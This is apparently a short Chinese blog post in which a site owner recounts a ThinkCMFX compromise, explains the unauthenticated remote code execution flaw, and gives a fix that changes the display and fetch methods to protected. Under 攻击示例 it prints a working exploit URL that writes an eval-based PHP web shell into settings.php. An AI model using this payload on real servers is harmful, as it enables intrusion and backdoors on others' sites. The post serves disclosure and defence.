使用thinkCMF已经有几年了,旧的项目一直没有精力升级。昨天突然收到了腾讯云的短信,说网站可能被入侵。我就上ssh看了一下,还真的是被入侵了。
漏洞危害
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
攻击示例
/?a=fetch&templateFile=public/index&prefix=''&content=%3Cphp%3Efile_put_contents('settings.php','%3C?php%20eval($_REQUEST%5BAa123456%5D);%20?%3E')%3C/php%3E
访问上面的地址,就会在根目录建立自定义内容的”setting.php”文件。可以执行任意代码。
修复方法
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected
转载请注明:HANLEI'BLOG » 记一个ThinkCMFX漏洞